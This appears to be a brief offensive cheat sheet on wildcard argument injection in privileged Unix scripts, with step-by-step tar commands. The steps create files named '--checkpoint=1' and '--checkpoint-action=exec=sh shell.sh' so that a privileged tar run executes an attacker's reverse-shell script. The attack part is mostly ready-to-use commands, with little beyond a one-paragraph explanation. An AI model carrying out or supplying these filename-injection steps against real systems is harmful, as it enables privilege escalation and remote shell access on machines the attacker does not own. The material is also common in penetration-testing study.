Summery

Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.

Commands

TAR

  1. Make shell.sh, for example containing a Basic Bash reverse shell
  2. Make it executable chmod +x shell.sh
  3. Create both touch -- "--checkpoint=1" and touch -- "--checkpoint-action=exec=sh shell.sh" so that the vulnerable privileged script takes them as arguments in a command

References

https://hacktricks.wiki/en/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.html#tar